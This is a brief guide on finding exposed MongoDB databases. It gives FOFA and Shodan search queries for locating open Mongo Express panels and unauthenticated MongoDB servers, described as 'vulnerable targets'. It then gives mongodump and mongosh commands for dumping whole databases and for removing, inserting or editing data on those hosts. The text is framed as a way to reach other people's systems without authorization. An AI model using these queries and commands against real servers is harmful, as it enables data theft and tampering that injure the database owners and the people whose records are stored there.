Many exposed MongoDBs
MongoDB is a NoSQL document-oriented database that stores data in JSON-like (BSON) format.
Unlike relational databases, it doesn't use tables and rows but collections of flexible documents,
making it ideal for handling unstructured or semi-structured data.
It is highly scalable and suited for modern applications requiring large data volumes and flexibility.
Looking for vulnerable targets
[1] With The follwing FOFA query returns thousands of open MongoDB "Mongo Express" web panels, but many of them could have been already compromised.
header="Set-Cookie: mongo-express=" && header="200 OK"
[2] This shodan query returns thousands of the open mongodb istances with also write access,
you can dump all the database with the mongodump utility in the mongodb-database-tools package with this command: mongodump --host="HOST" --quiet
To connect to the MongoDB server to remove, insert or edit data inside a collection you can use the mongosh utility in the mongodb-mongosh package.
Connecting to the database: mongosh --host="HOST" --port 27017
here's the documentation.
"MongoDB Server Information" port:27017 -authentication
[*] mongo_web_dashboard.png